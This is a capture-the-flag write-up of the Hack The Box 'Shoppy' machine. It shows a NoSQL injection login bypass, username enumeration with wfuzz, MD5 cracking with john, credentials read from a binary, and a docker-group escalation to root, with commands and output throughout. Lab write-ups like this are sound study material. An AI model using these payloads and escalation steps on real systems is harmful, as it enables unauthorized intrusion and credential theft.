Visiting /admin we get redirected to /login which is a login page.
Login Page
Default credentials didn’t work here so we can try for sqli.
Adding a ' at the end of username we are getting a 504.
504
On enumerating further, I also tried some NoSQL payloads out of which one of the payload redirected to the admin panel.
Payload: admin' || '
Admin Panel
Looking around in admin panel, the search for users page searches for the known users and returns a json file containing that user’s id, username, and password.
Search Users Page
export-search.json
I tried cracking the admin’s password with john but no luck with the rockyou.txt wordlist.
Also notice that we can enumerate usernames as well with the search users page.
Using wfuzz we can enumerate other users as well. I used names.txt from the SecLists.
1
2
3
4
5
6
7
8
9
┌──(saad👻ssaadakhtarr)-[~/Desktop/hackthebox/machines/shoppy]└─$ wfuzz -H "Host: shoppy.htb" -w users.txt --ss "Download export" -b "connect.sid=s%3A41NRGQUoz12IMj3vHfsgSbaY2yFHZ-DT.%2F1vdICypeZqYvyhWQXkgxKJoPWuq9SEqCr9jmgSUwUU" http://shoppy.htb/admin/search-users?username=FUZZ=====================================================================ID Response Lines Word Chars Payload=====================================================================000000086: 20055 L 160 W 2720 Ch "admin"000004909: 20055 L 160 W 2720 Ch "josh"
And we got another username josh.
We can look at the password of this user and try cracking it as well.
1
2
3
4
5
6
7
8
9
10
┌──(saad👻ssaadakhtarr)-[~/Desktop/hackthebox/machines/shoppy]
└─$ john --wordlist=/home/saad/Documents/wordlists/rockyou.txt --format=Raw-MD5 josh.hash
Using default input encoding: UTF-8
Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=2
Press 'q' or Ctrl-C to abort, almost any other key for status
remembermethisway (?)
1g 0:00:00:07 DONE (2022-09-18 06:28) 0.1386g/s 112643p/s 112643c/s 112643C/s renato1989..reiji
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.
We successfully cracked the password of josh user which is remembermethisway.
We can try this password with ssh but sadly no luck with that.
Another dead end? Now we can fuzz for vhosts.
Foothold
I tried looking for virtual hosts with different wordlists and this wordlist from SecLists found a valid subdomain for us.
Running sudo -l we can run /home/deploy/password-manager as user deploy.
1
2
3
4
5
6
7
jaeger@shoppy:~$ sudo -l
Matching Defaults entries for jaeger on shoppy:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User jaeger may run the following commands on shoppy:
(deploy) /home/deploy/password-manager
The file password-manager is a 64-bit ELF binary.
password-manager
We can run the binary to analyze it’s behavior.
1
2
3
4
jaeger@shoppy:~$ sudo -u deploy /home/deploy/./password-manager
Welcome to Josh password manager!
Please enter your master password: test
Access denied! This incident will be reported !
Upon running the binary, it asks for a password and on giving a wrong password it shows access denied.
Reading the contents of the binary using cat we can see the password in plain text.
cat password-manager
On entering the password Sample, we get credentials for the user deploy.
1
2
3
4
5
6
7
8
9
jaeger@shoppy:~$ sudo -u deploy /home/deploy/./password-manager
Welcome to Josh password manager!
Please enter your master password: Sample
Access granted! Here is creds !
Deploy Creds :
username: deploy
password: Deploying@pp!
jaeger@shoppy:~$
Switching to deploy user.
1
2
3
4
5
jaeger@shoppy:~$ su deploy
Password: Deploying@pp!
deploy@shoppy:/home/jaeger$ whoami
deploy
root.txt
The id command shows the user deploy is part of the docker group. We can simply run this exploit from gtfobins to escalate to root.
1
2
3
4
5
6
7
8
9
10
deploy@shoppy:/home/jaeger$ id
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)
deploy@shoppy:/home/jaeger$ docker run -v /:/mnt --rm -it alpine chroot /mnt sh
root@e79ceb533a94:/# whoami
root
root@e79ceb533a94:/# cat /root/root.txt
e6****************************48
